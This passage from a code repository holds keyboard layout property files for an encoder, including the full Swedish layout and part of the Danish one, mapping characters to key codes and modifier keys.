MODIFIERKEY_SHIFT 62 | // 59 ; 63 | ASCII_3C = KEY_NON_US_100 64 | // 60 < 65 | ASCII_3D = KEY_0, MODIFIERKEY_SHIFT 66 | // 61 = 67 | ASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT 68 | // 62 > 69 | ASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT 70 | // 63 ? 71 | ASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT 72 | // 64 @ 73 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 74 | // 65 A 75 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 76 | // 66 B 77 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 78 | // 67 C 79 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 80 | // 68 D 81 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 82 | // 69 E 83 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 84 | // 70 F 85 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 86 | // 71 G 87 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 88 | // 72 H 89 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 90 | // 73 I 91 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 92 | // 74 J 93 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 94 | // 75 K 95 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 96 | // 76 L 97 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 98 | // 77 M 99 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 100 | // 78 N 101 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 102 | // 79 O 103 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 104 | // 80 P 105 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 106 | // 81 Q 107 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 108 | // 82 R 109 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 110 | // 83 S 111 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 112 | // 84 T 113 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 114 | // 85 U 115 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 116 | // 86 V 117 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 118 | // 87 W 119 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 120 | // 88 X 121 | ASCII_59 = KEY_Z, MODIFIERKEY_SHIFT 122 | // 89 Y 123 | ASCII_5A = KEY_Y, MODIFIERKEY_SHIFT 124 | // 90 Z 125 | ASCII_5B = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT 126 | // 91 [ 127 | ASCII_5C = KEY_NON_US_100, MODIFIERKEY_RIGHT_ALT 128 | // 92 129 | ASCII_5D = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT 130 | // 93 ] 131 | ASCII_5E = KEY_EQUAL 132 | // 94 ^ 133 | ASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT 134 | // 95 _ 135 | ASCII_60 = KEY_EQUAL, MODIFIERKEY_SHIFT 136 | //GRAVE_ACCENT_BITS + KEY_SPACE 137 | // 96 ` 138 | ASCII_61 = KEY_A 139 | // 97 a 140 | ASCII_62 = KEY_B 141 | // 98 b 142 | ASCII_63 = KEY_C 143 | // 99 c 144 | ASCII_64 = KEY_D 145 | // 100 d 146 | ASCII_65 = KEY_E 147 | // 101 e 148 | ASCII_66 = KEY_F 149 | // 102 f 150 | ASCII_67 = KEY_G 151 | // 103 g 152 | ASCII_68 = KEY_H 153 | // 104 h 154 | ASCII_69 = KEY_I 155 | // 105 i 156 | ASCII_6A = KEY_J 157 | // 106 j 158 | ASCII_6B = KEY_K 159 | // 107 k 160 | ASCII_6C = KEY_L 161 | // 108 l 162 | ASCII_6D = KEY_M 163 | // 109 m 164 | ASCII_6E = KEY_N 165 | // 110 n 166 | ASCII_6F = KEY_O 167 | // 111 o 168 | ASCII_70 = KEY_P 169 | // 112 p 170 | ASCII_71 = KEY_Q 171 | // 113 q 172 | ASCII_72 = KEY_R 173 | // 114 r 174 | ASCII_73 = KEY_S 175 | // 115 s 176 | ASCII_74 = KEY_T 177 | // 116 t 178 | ASCII_75 = KEY_U 179 | // 117 u 180 | ASCII_76 = KEY_V 181 | // 118 v 182 | ASCII_77 = KEY_W 183 | // 119 w 184 | ASCII_78 = KEY_X 185 | // 120 x 186 | ASCII_79 = KEY_Z 187 | // 121 y 188 | ASCII_7A = KEY_Y 189 | // 122 z 190 | ASCII_7B = KEY_TILDE, MODIFIERKEY_RIGHT_ALT 191 | // 123 { 192 | ASCII_7C = KEY_7, MODIFIERKEY_RIGHT_ALT 193 | // 124 | 194 | ASCII_7D = KEY_BACKSLASH, MODIFIERKEY_RIGHT_ALT 195 | // 125 } 196 | ASCII_7E = KEY_EQUAL, MODIFIERKEY_RIGHT_ALT 197 | // 126 ~ 198 | ASCII_7F = KEY_BACKSPACE 199 | // 127 200 | ISO_8859_1_A0 = KEY_SPACE 201 | // 160 Nonbreakng Space 202 | ISO_8859_1_A4 = KEY_11, MODIFIERKEY_RIGHT_ALT 203 | // 164 ¤ Currency Sign 204 | ISO_8859_1_A7 = KEY_TILDE 205 | // 167 § SECTION SIGN 206 | ISO_8859_1_B0 = KEY_TILDE, MODIFIERKEY_SHIFT 207 | // 176 ° DEGREE SIGN 208 | ISO_8859_1_B2 = KEY_11, MODIFIERKEY_RIGHT_ALT 209 | // 178 ² SUPERSCRIPT TWO 210 | ISO_8859_1_B3 = KEY_11, MODIFIERKEY_RIGHT_ALT 211 | // 179 ³ SUPERSCRIPT THREE 212 | //ISO_8859_1_C0 = GRAVE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT 213 | // 192 À A GRAVE 214 | //ISO_8859_1_C1 = ACUTE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT 215 | // 193 Á A ACUTE 216 | //ISO_8859_1_C2 = CIRCUMFLEX_BITS = + KEY_A, MODIFIERKEY_SHIFT 217 | // 194  A CIRCUMFLEX 218 | ISO_8859_1_C4 = KEY_QUOTE, MODIFIERKEY_SHIFT 219 | // 196 Ä A DIAERESIS 220 | //ISO_8859_1_C8 = GRAVE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT 221 | // 200 È E GRAVE 222 | //ISO_8859_1_C9 = ACUTE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT 223 | // 201 É E ACUTE 224 | //ISO_8859_1_CA = CIRCUMFLEX_BITS + KEY_E, MODIFIERKEY_SHIFT 225 | // 202 Ê E CIRCUMFLEX 226 | //ISO_8859_1_CC = GRAVE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT 227 | // 204 Ì I GRAVE 228 | //ISO_8859_1_CD = ACUTE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT 229 | // 205 Í I ACUTE 230 | //ISO_8859_1_CE = CIRCUMFLEX_BITS + KEY_I, MODIFIERKEY_SHIFT 231 | // 206 Î I CIRCUMFLEX 232 | //ISO_8859_1_D2 = GRAVE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT 233 | // 210 Ò O GRAVE 234 | //ISO_8859_1_D3 = ACUTE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT 235 | // 211 Ó O ACUTE 236 | //ISO_8859_1_D4 = CIRCUMFLEX_BITS + KEY_O, MODIFIERKEY_SHIFT 237 | // 212 Ô O CIRCUMFLEX 238 | ISO_8859_1_D6 = KEY_SEMICOLON, MODIFIERKEY_SHIFT 239 | // 214 Ö O DIAERESIS 240 | //ISO_8859_1_D9 = GRAVE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT 241 | // 217 Ù U GRAVE 242 | //ISO_8859_1_DA = ACUTE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT 243 | // 218 Ú U ACUTE 244 | //ISO_8859_1_DB = CIRCUMFLEX_BITS + KEY_U, MODIFIERKEY_SHIFT 245 | // 219 Û U CIRCUMFLEX 246 | ISO_8859_1_DC = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT 247 | // 220 Ü U DIAERESIS 248 | //ISO_8859_1_DD = ACUTE_ACCENT_BITS + KEY_Z, MODIFIERKEY_SHIFT 249 | // 221 Ý Y ACUTE 250 | ISO_8859_1_DF = KEY_MINUS 251 | // 223 ß SHARP S 252 | //ISO_8859_1_E0 = GRAVE_ACCENT_BITS + KEY_A 253 | // 224 à a GRAVE 254 | //ISO_8859_1_E1 = ACUTE_ACCENT_BITS + KEY_A 255 | // 225 á a ACUTE 256 | //ISO_8859_1_E2 = CIRCUMFLEX_BITS + KEY_A 257 | // 226 â a CIRCUMFLEX 258 | ISO_8859_1_E4 = KEY_QUOTE 259 | // 228 ä a DIAERESIS 260 | //ISO_8859_1_E8 = GRAVE_ACCENT_BITS + KEY_E 261 | // 232 è e GRAVE 262 | //ISO_8859_1_E9 = ACUTE_ACCENT_BITS + KEY_E 263 | // 233 é e ACUTE 264 | //ISO_8859_1_EA = CIRCUMFLEX_BITS + KEY_E 265 | // 234 ê e CIRCUMFLEX 266 | //ISO_8859_1_EC = GRAVE_ACCENT_BITS + KEY_I 267 | // 236 ì i GRAVE 268 | //ISO_8859_1_ED = ACUTE_ACCENT_BITS + KEY_I 269 | // 237 í i ACUTE 270 | //ISO_8859_1_EE = CIRCUMFLEX_BITS + KEY_I 271 | // 238 î i CIRCUMFLEX 272 | //ISO_8859_1_F2 = GRAVE_ACCENT_BITS + KEY_O 273 | // 242 ò o GRAVE 274 | //ISO_8859_1_F3 = ACUTE_ACCENT_BITS + KEY_O 275 | // 243 ó o ACUTE 276 | //ISO_8859_1_F4 = CIRCUMFLEX_BITS + KEY_O 277 | // 244 ô o CIRCUMFLEX 278 | ISO_8859_1_F6 = KEY_SEMICOLON 279 | // 246 ö o DIAERESIS 280 | //ISO_8859_1_F9 = GRAVE_ACCENT_BITS + KEY_U 281 | // 249 ù u GRAVE 282 | //ISO_8859_1_FA = ACUTE_ACCENT_BITS + KEY_U 283 | // 250 ú u ACUTE 284 | //ISO_8859_1_FB = CIRCUMFLEX_BITS + KEY_U 285 | // 251 û u CIRCUMFLEX 286 | ISO_8859_1_FC = KEY_LEFT_BRACE 287 | // 252 ü u DIAERESIS 288 | //ISO_8859_1_FD = ACUTE_ACCENT_BITS + KEY_Z 289 | // 253 ý y ACUTE 290 | UNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT 291 | // € Euro Sign -------------------------------------------------------------------------------- /Encoder/resources/sv.properties: -------------------------------------------------------------------------------- 1 | //LAYOUT_SWEDISH 2 | //Credits go to r.hegazi & shalafi for patch (11/09/2013) 3 | KEY_NON_US_100 = 100 4 | 5 | ASCII_20 = KEY_SPACE 6 | // 32 7 | ASCII_21 = KEY_1, MODIFIERKEY_SHIFT 8 | // 33 ! 9 | ASCII_22 = KEY_2, MODIFIERKEY_SHIFT 10 | // 34 " 11 | ASCII_23 = KEY_3, MODIFIERKEY_SHIFT 12 | // 35 # 13 | ASCII_24 = KEY_4, MODIFIERKEY_RIGHT_ALT 14 | // 36 $ 15 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 16 | // 37 % 17 | ASCII_26 = KEY_6, MODIFIERKEY_SHIFT 18 | // 38 & 19 | ASCII_27 = KEY_BACKSLASH 20 | // 39 ' 21 | ASCII_28 = KEY_8, MODIFIERKEY_SHIFT 22 | // 40 ( 23 | ASCII_29 = KEY_9, MODIFIERKEY_SHIFT 24 | // 41 ) 25 | ASCII_2A = KEY_BACKSLASH, MODIFIERKEY_SHIFT 26 | // 42 * 27 | ASCII_2B = KEY_MINUS 28 | // 43 + 29 | ASCII_2C = KEY_COMMA 30 | // 44 , 31 | ASCII_2D = KEY_SLASH 32 | // 45 - 33 | ASCII_2E = KEY_PERIOD 34 | // 46 . 35 | ASCII_2F = KEY_7, MODIFIERKEY_SHIFT 36 | // 47 / 37 | ASCII_30 = KEY_0 38 | // 48 0 39 | ASCII_31 = KEY_1 40 | // 49 1 41 | ASCII_32 = KEY_2 42 | // 50 2 43 | ASCII_33 = KEY_3 44 | // 51 3 45 | ASCII_34 = KEY_4 46 | // 52 4 47 | ASCII_35 = KEY_5 48 | // 53 5 49 | ASCII_36 = KEY_6 50 | // 54 6 51 | ASCII_37 = KEY_7 52 | // 55 7 53 | ASCII_38 = KEY_8 54 | // 55 8 55 | ASCII_39 = KEY_9 56 | // 57 9 57 | ASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT 58 | // 58 : 59 | ASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT 60 | // 59 ; 61 | ASCII_3C = KEY_NON_US_100 62 | // 60 < 63 | ASCII_3D = KEY_0, MODIFIERKEY_SHIFT 64 | // 61 = 65 | ASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT 66 | // 62 > 67 | ASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT 68 | // 63 ? 69 | ASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT 70 | // 64 @ 71 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 72 | // 65 A 73 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 74 | // 66 B 75 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 76 | // 67 C 77 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 78 | // 68 D 79 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 80 | // 69 E 81 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 82 | // 70 F 83 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 84 | // 71 G 85 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 86 | // 72 H 87 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 88 | // 73 I 89 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 90 | // 74 J 91 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 92 | // 75 K 93 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 94 | // 76 L 95 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 96 | // 77 M 97 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 98 | // 78 N 99 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 100 | // 79 O 101 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 102 | // 80 P 103 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 104 | // 81 Q 105 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 106 | // 82 R 107 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 108 | // 83 S 109 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 110 | // 84 T 111 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 112 | // 85 U 113 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 114 | // 86 V 115 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 116 | // 87 W 117 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 118 | // 88 X 119 | ASCII_59 = KEY_Y, MODIFIERKEY_SHIFT 120 | // 89 Y 121 | ASCII_5A = KEY_Z, MODIFIERKEY_SHIFT 122 | // 90 Z 123 | ASCII_5B = KEY_8, MODIFIERKEY_RIGHT_ALT 124 | // 91 [ 125 | ASCII_5C = KEY_MINUS, MODIFIERKEY_RIGHT_ALT 126 | // 92 127 | ASCII_5D = KEY_9, MODIFIERKEY_RIGHT_ALT 128 | // 93 ] 129 | ASCII_5E = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT 130 | // 94 ^ 131 | ASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT 132 | // 95 _ 133 | ASCII_60 = KEY_EQUAL, MODIFIERKEY_SHIFT 134 | // 96 ` 135 | ASCII_61 = KEY_A 136 | // 97 a 137 | ASCII_62 = KEY_B 138 | // 98 b 139 | ASCII_63 = KEY_C 140 | // 99 c 141 | ASCII_64 = KEY_D 142 | // 100 d 143 | ASCII_65 = KEY_E 144 | // 101 e 145 | ASCII_66 = KEY_F 146 | // 102 f 147 | ASCII_67 = KEY_G 148 | // 103 g 149 | ASCII_68 = KEY_H 150 | // 104 h 151 | ASCII_69 = KEY_I 152 | // 105 i 153 | ASCII_6A = KEY_J 154 | // 106 j 155 | ASCII_6B = KEY_K 156 | // 107 k 157 | ASCII_6C = KEY_L 158 | // 108 l 159 | ASCII_6D = KEY_M 160 | // 109 m 161 | ASCII_6E = KEY_N 162 | // 110 n 163 | ASCII_6F = KEY_O 164 | // 111 o 165 | ASCII_70 = KEY_P 166 | // 112 p 167 | ASCII_71 = KEY_Q 168 | // 113 q 169 | ASCII_72 = KEY_R 170 | // 114 r 171 | ASCII_73 = KEY_S 172 | // 115 s 173 | ASCII_74 = KEY_T 174 | // 116 t 175 | ASCII_75 = KEY_U 176 | // 117 u 177 | ASCII_76 = KEY_V 178 | // 118 v 179 | ASCII_77 = KEY_W 180 | // 119 w 181 | ASCII_78 = KEY_X 182 | // 120 x 183 | ASCII_79 = KEY_Y 184 | // 121 y 185 | ASCII_7A = KEY_Z 186 | // 122 z 187 | ASCII_7B = KEY_7, MODIFIERKEY_RIGHT_ALT 188 | // 123 { 189 | ASCII_7C = KEY_NON_US_100, MODIFIERKEY_RIGHT_ALT 190 | // 124 | 191 | ASCII_7D = KEY_0, MODIFIERKEY_RIGHT_ALT 192 | // 125 } 193 | //ASCII_7E = TILDE_BITS + KEY_SPACE 194 | // 126 ~ 195 | ASCII_7F = KEY_BACKSPACE 196 | // 127 197 | 198 | ISO_8859_1_A0 = KEY_SPACE 199 | // 160 Nonbreakng Space 200 | ISO_8859_1_A3 = KEY_3, MODIFIERKEY_RIGHT_ALT 201 | // 163 £ Pound Sign 202 | ISO_8859_1_A4 = KEY_4, MODIFIERKEY_SHIFT 203 | // 164 ¤ Currency Sign 204 | ISO_8859_1_A7 = KEY_TILDE 205 | // 167 § SECTION SIGN 206 | //ISO_8859_1_A8 = DIAERESIS_BITS + KEY_SPACE 207 | // 168 ¨ DIAERESIS 208 | ISO_8859_1_AB = KEY_4 209 | // 171 « LEFT DOUBLE ANGLE QUOTE 210 | //ISO_8859_1_B4 = ACUTE_ACCENT_BITS + KEY_SPACE 211 | // 180 ´ ACUTE ACCENT 212 | ISO_8859_1_B5 = KEY_M, MODIFIERKEY_RIGHT_ALT 213 | // 181 µ MICRO SIGN 214 | ISO_8859_1_BD = KEY_TILDE, MODIFIERKEY_SHIFT 215 | // 189 ½ FRACTION ONE HALF 216 | //ISO_8859_1_C0 = GRAVE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT 217 | // 192 À A GRAVE 218 | //ISO_8859_1_C1 = ACUTE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT 219 | // 193 Á A ACUTE 220 | //ISO_8859_1_C2 = CIRCUMFLEX_BITS + KEY_A, MODIFIERKEY_SHIFT 221 | // 194  A CIRCUMFLEX 222 | //ISO_8859_1_C3 = TILDE_BITS + KEY_A, MODIFIERKEY_SHIFT 223 | // 195 à A TILDE 224 | ISO_8859_1_C4 = KEY_QUOTE, MODIFIERKEY_SHIFT 225 | // 196 Ä A DIAERESIS 226 | ISO_8859_1_C5 = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT 227 | // 197 Å A RING ABOVE 228 | //ISO_8859_1_C8 = GRAVE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT 229 | // 200 È E GRAVE 230 | //ISO_8859_1_C9 = ACUTE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT 231 | // 201 É E ACUTE 232 | //ISO_8859_1_CA = CIRCUMFLEX_BITS + KEY_E, MODIFIERKEY_SHIFT 233 | // 202 Ê E CIRCUMFLEX 234 | //ISO_8859_1_CB = DIAERESIS_BITS + KEY_E, MODIFIERKEY_SHIFT 235 | // 203 Ë E DIAERESIS 236 | //ISO_8859_1_CC = GRAVE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT 237 | // 204 Ì I GRAVE 238 | //ISO_8859_1_CD = ACUTE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT 239 | // 205 Í I ACUTE 240 | //ISO_8859_1_CE = CIRCUMFLEX_BITS + KEY_I, MODIFIERKEY_SHIFT 241 | // 206 Î I CIRCUMFLEX 242 | //ISO_8859_1_CF = DIAERESIS_BITS + KEY_I, MODIFIERKEY_SHIFT 243 | // 207 Ï I DIAERESIS 244 | //ISO_8859_1_D0 = KEY_D, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 245 | // 208 Ð ETH 246 | //ISO_8859_1_D1 = TILDE_BITS + KEY_N, MODIFIERKEY_SHIFT 247 | // 209 Ñ N TILDE 248 | //ISO_8859_1_D2 = GRAVE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT 249 | // 210 Ò O GRAVE 250 | //ISO_8859_1_D3 = ACUTE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT 251 | // 211 Ó O ACUTE 252 | //ISO_8859_1_D4 = CIRCUMFLEX_BITS + KEY_O, MODIFIERKEY_SHIFT 253 | // 212 Ô O CIRCUMFLEX 254 | //ISO_8859_1_D5 = TILDE_BITS + KEY_O, MODIFIERKEY_SHIFT 255 | // 213 Õ O TILDE 256 | ISO_8859_1_D6 = KEY_SEMICOLON, MODIFIERKEY_SHIFT 257 | // 214 Ö O DIAERESIS 258 | //ISO_8859_1_D9 = GRAVE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT 259 | // 217 Ù U GRAVE 260 | //ISO_8859_1_DA = ACUTE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT 261 | // 218 Ú U ACUTE 262 | //ISO_8859_1_DB = CIRCUMFLEX_BITS + KEY_U, MODIFIERKEY_SHIFT 263 | // 219 Û U CIRCUMFLEX 264 | //ISO_8859_1_DC = DIAERESIS_BITS + KEY_U, MODIFIERKEY_SHIFT 265 | // 220 Ü U DIAERESIS 266 | //ISO_8859_1_DD = ACUTE_ACCENT_BITS + KEY_Y, MODIFIERKEY_SHIFT 267 | // 221 Ý Y ACUTE 268 | //ISO_8859_1_DE = KEY_T, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 269 | // 222 Þ THORN 270 | ISO_8859_1_DF = KEY_S, MODIFIERKEY_RIGHT_ALT 271 | // 223 ß SHARP S 272 | //ISO_8859_1_E0 = GRAVE_ACCENT_BITS + KEY_A 273 | // 224 à a GRAVE 274 | //ISO_8859_1_E1 = ACUTE_ACCENT_BITS + KEY_A 275 | // 225 á a ACUTE 276 | //ISO_8859_1_E2 = CIRCUMFLEX_BITS + KEY_A 277 | // 226 â a CIRCUMFLEX 278 | //ISO_8859_1_E3 = TILDE_BITS + KEY_A 279 | // 227 ã a TILDE 280 | ISO_8859_1_E4 = KEY_QUOTE 281 | // 228 ä a DIAERESIS 282 | ISO_8859_1_E5 = KEY_LEFT_BRACE 283 | // 229 å a RING ABOVE 284 | //ISO_8859_1_E8 = GRAVE_ACCENT_BITS + KEY_E 285 | // 232 è e GRAVE 286 | //ISO_8859_1_E9 = ACUTE_ACCENT_BITS + KEY_E 287 | // 233 é e ACUTE 288 | //ISO_8859_1_EA = CIRCUMFLEX_BITS + KEY_E 289 | // 234 ê e CIRCUMFLEX 290 | //ISO_8859_1_EB = DIAERESIS_BITS + KEY_E 291 | // 235 ë e DIAERESIS 292 | //ISO_8859_1_EC = GRAVE_ACCENT_BITS + KEY_I 293 | // 236 ì i GRAVE 294 | //ISO_8859_1_ED = ACUTE_ACCENT_BITS + KEY_I 295 | // 237 í i ACUTE 296 | //ISO_8859_1_EE = CIRCUMFLEX_BITS + KEY_I 297 | // 238 î i CIRCUMFLEX 298 | //ISO_8859_1_EF = DIAERESIS_BITS + KEY_I 299 | // 239 ï i DIAERESIS 300 | ISO_8859_1_F0 = KEY_D, MODIFIERKEY_RIGHT_ALT 301 | // 240 ð ETH 302 | //ISO_8859_1_F1 = TILDE_BITS + KEY_N 303 | // 241 ñ n TILDE 304 | //ISO_8859_1_F2 = GRAVE_ACCENT_BITS + KEY_O 305 | // 242 ò o GRAVE 306 | //ISO_8859_1_F3 = ACUTE_ACCENT_BITS + KEY_O 307 | // 243 ó o ACUTE 308 | //ISO_8859_1_F4 = CIRCUMFLEX_BITS + KEY_O 309 | // 244 ô o CIRCUMFLEX 310 | //ISO_8859_1_F5 = TILDE_BITS + KEY_O 311 | // 245 õ o TILDE 312 | ISO_8859_1_F6 = KEY_SEMICOLON 313 | // 246 ö o DIAERESIS 314 | //ISO_8859_1_F9 = GRAVE_ACCENT_BITS + KEY_U 315 | // 249 ù u GRAVE 316 | //ISO_8859_1_FA = ACUTE_ACCENT_BITS + KEY_U 317 | // 250 ú u ACUTE 318 | //ISO_8859_1_FB = CIRCUMFLEX_BITS + KEY_U 319 | // 251 û u CIRCUMFLEX 320 | //ISO_8859_1_FC = DIAERESIS_BITS + KEY_U 321 | // 252 ü u DIAERESIS 322 | //ISO_8859_1_FD = ACUTE_ACCENT_BITS + KEY_Y 323 | // 253 ý y ACUTE 324 | ISO_8859_1_FE = KEY_T, MODIFIERKEY_RIGHT_ALT 325 | // 254 þ THORN 326 | //ISO_8859_1_FF = DIAERESIS_BITS + KEY_Y 327 | // 255 ÿ y DIAERESIS 328 | UNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT 329 | // € Euro Sign 330 | 331 | -------------------------------------------------------------------------------- /Encoder/resources/dk.properties: -------------------------------------------------------------------------------- 1 | //LAYOUT_DANISH 2 | KEY_NON_US_100 = 100 3 | 4 | ASCII_20 = KEY_SPACE 5 | // 32 6 | ASCII_21 = KEY_1, MODIFIERKEY_SHIFT 7 | // 33 ! 8 | ASCII_22 = KEY_2, MODIFIERKEY_SHIFT 9 | // 34 " 10 | ASCII_23 = KEY_3, MODIFIERKEY_SHIFT 11 | // 35 # 12 | ASCII_24 = KEY_4, MODIFIERKEY_RIGHT_ALT 13 | // 36 $ 14 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 15 | // 37 % 16 | ASCII_26 = KEY_6, MODIFIERKEY_SHIFT 17 | // 38 & 18 | ASCII_27 = KEY_BACKSLASH 19 | // 39 ' 20 | ASCII_28 = KEY_8, MODIFIERKEY_SHIFT 21 | // 40 ( 22 | ASCII_29 = KEY_9, MODIFIERKEY_SHIFT 23 | // 41 ) 24 | ASCII_2A = KEY_BACKSLASH, MODIFIERKEY_SHIFT 25 | // 42 * 26 | ASCII_2B = KEY_MINUS 27 | // 43 + 28 | ASCII_2C = KEY_COMMA 29 | // 44 , 30 | ASCII_2D = KEY_SLASH 31 | // 45 - 32 | ASCII_2E = KEY_PERIOD 33 | // 46 . 34 | ASCII_2F = KEY_7, MODIFIERKEY_SHIFT 35 | // 47 / 36 | ASCII_30 = KEY_0 37 | // 48 0 38 | ASCII_31 = KEY_1 39 | // 49 1 40 | ASCII_32 = KEY_2 41 | // 50 2 42 | ASCII_33 = KEY_3 43 | // 51 3 44 | ASCII_34 = KEY_4 45 | // 52 4 46 | ASCII_35 = KEY_5 47 | // 53 5 48 | ASCII_36 = KEY_6 49 | // 54 6 50 | ASCII_37 = KEY_7 51 | // 55 7 52 | ASCII_38 = KEY_8 53 | // 55 8 54 | ASCII_39 = KEY_9 55 | // 57 9 56 | ASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT 57 | // 58 : 58 | ASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT 59 | // 59 ; 60 | ASCII_3C = KEY_NON_US_100 61 | // 60 < 62 | ASCII_3D = KEY_0, MODIFIERKEY_SHIFT 63 | // 61 = 64 | ASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT 65 | // 62 > 66 | ASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT 67 | // 63 ? 68 | ASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT 69 | // 64 @ 70 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 71 | // 65 A 72 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 73 | // 66 B 74 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 75 | // 67 C 76 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 77 | // 68 D 78 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 79 | // 69 E 80 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 81 | // 70 F 82 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 83 | // 71 G 84 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 85 | // 72 H 86 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 87 | // 73 I 88 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 89 | // 74 J 90 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 91 | // 75 K 92 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 93 | // 76 L 94 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 95 | // 77 M 96 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 97 | // 78 N 98 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 99 | // 79 O 100 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 101 | // 80 P 102 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 103 | // 81 Q 104 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 105 | // 82 R 106 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 107 | // 83 S 108 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 109 | // 84 